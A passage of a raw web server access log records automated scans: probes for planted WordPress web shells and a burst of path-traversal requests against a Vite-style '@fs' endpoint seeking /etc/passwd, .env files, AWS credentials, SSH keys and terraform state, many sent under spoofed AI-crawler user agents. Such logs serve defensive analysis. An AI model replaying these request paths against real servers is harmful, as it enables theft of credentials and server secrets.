Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:25 -0700] "GET /wp-includes/file.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:25 -0700] "GET /admin/admin.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:26 -0700] "GET /wp-includes/assets/index.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:26 -0700] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:26 -0700] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:27 -0700] "GET /wp-content/themes/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:27 -0700] "GET /wp-includes/block-patterns/ HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:28 -0700] "GET /aspera/faspex/ HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:28 -0700] "GET /cgi-bin/ HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:28 -0700] "GET /flower.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:29 -0700] "GET /wp-admin/js/ HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:29 -0700] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:30 -0700] "GET /admin/function.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:30 -0700] "GET /wp-admin/network/chosen.php HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:30 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 200 12114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:31 -0700] "GET /wp-content/uploads/ HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:31 -0700] "GET /wp-includes/assets/admin.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:32 -0700] "GET /wp-includes/images/ HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:32 -0700] "GET /.well-known/classwithtostring.php HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:33 -0700] "GET /anonse/lock360.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:33 -0700] "GET /cgi-bin/wp-login.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:33 -0700] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:34 -0700] "GET /wp-content/themes/about.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:34 -0700] "GET /wp-content/uploads/2021/ HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:35 -0700] "GET /wp-includes/html-api/ HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:35 -0700] "GET /assets/images/doc.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:35 -0700] "GET /ioxi-o.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:36 -0700] "GET /radio.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:36 -0700] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:37 -0700] "GET /wp-admin/includes/cloud.php HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:37 -0700] "GET /wp-admin/includes/index.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:37 -0700] "GET /wp-admin/js/widgets/ HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:38 -0700] "GET /wp-content/ HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:38 -0700] "GET /admin.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:39 -0700] "GET /functions.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:39 -0700] "GET /modules/ HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:39 -0700] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:40 -0700] "GET /admin/upload/ HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:24:40 -0700] "GET /ccx/index.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:33:12 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:21:42:17 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51.68.163.208 - - [09/Sep/2026:21:44:25 -0700] "GET /wp-content/plugins/wp-content-filter/wp-content-filter.php?k=woo2026 HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 51.68.163.208 - - [09/Sep/2026:21:49:49 -0700] "GET /wp-content/plugins/cidaas-pro-master/composer.json HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" 51.68.163.208 - - [09/Sep/2026:21:50:09 -0700] "GET /blog-verify HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" 114.119.147.87 - - [09/Sep/2026:22:02:18 -0700] "GET /robots.txt HTTP/1.1" 200 122 "https://www.guardianjetcenter.com.welbornwebsites.com/robots.txt" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 34.230.78.61 - - [09/Sep/2026:22:13:53 -0700] "GET /.env HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 74.7.175.172 - - [09/Sep/2026:22:15:42 -0700] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 138.197.17.142 - - [09/Sep/2026:22:30:20 -0700] "GET /.env HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:07 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/app/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/proc/self/environ?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/etc/passwd?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.16) Gecko/20100101 Firefox/121.16; compatible; Discordbot/2.0; +https://discordapp.com" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/root/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/../.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/../../.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/src/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/root/rootkey.csv?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/.env.production?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/app/rootkey.csv?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/133.0.3146.9 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:12 -0700] "GET /@fs/.env.local?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:14 -0700] "GET /@fs/.env.staging?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/136.0.4568.35 Safari/537.36 Edg/136.0.4568.35" 34.26.120.174 - - [09/Sep/2026:22:32:14 -0700] "GET /@fs/.env.development?raw?? HTTP/1.1" 404 48349 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/133.0.5626.209 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:14 -0700] "GET /@fs/root/.aws/credentials?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/root/.aws/config?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.5) Gecko/20100101 Firefox/132.5; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/node/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/126.0.2209.162 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/root/.aws/credentials.bak?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/120.0.5722.15 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/root/.aws/credentials.backup?raw?? HTTP/1.1" 404 48324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Twitterbot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/node/.aws/config?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/ubuntu/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.17) Gecko/20100101 Firefox/127.17; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/ubuntu/.aws/config?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/133.0.4033.130 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/admin/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/debian/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/ec2-user/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:121.5) Gecko/20100101 Firefox/121.5; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:32:15 -0700] "GET /@fs/home/www-data/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/120.0.175.120 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:16 -0700] "GET /@fs/app/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:16 -0700] "GET /@fs/var/www/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/var/www/html/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/usr/src/app/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/151.0.2019.80 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/home/ubuntu/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/root/.aws/sso/cache/?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/114.0.5163.43 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/app/.env.production?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.12) Gecko/20100101 Firefox/149.12; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/var/www/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.2169.2 Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/usr/src/app/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/app/.env.local?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.26.120.174 - - [09/Sep/2026:22:32:18 -0700] "GET /@fs/var/www/html/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/terraform.tfstate?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.4830.163 Mobile Safari/537.36; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/terraform.tfvars?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/131.0.5434.35 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/.terraform/terraform.tfstate?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.3753.117 Mobile Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/root/terraform.tfstate?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/serverless.yml?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/.serverless/serverless-state.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.3940.244 Mobile Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:32:19 -0700] "GET /@fs/app/aws-exports.js?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:32:21 -0700] "GET /@fs/app/amplifyconfiguration.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2froot/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/app/credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/etc/apache2/apache2.conf?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6285.99 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/root/.ssh/id_ed25519?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/var/www/html/wp-config.php?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/etc/nginx/nginx.conf?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 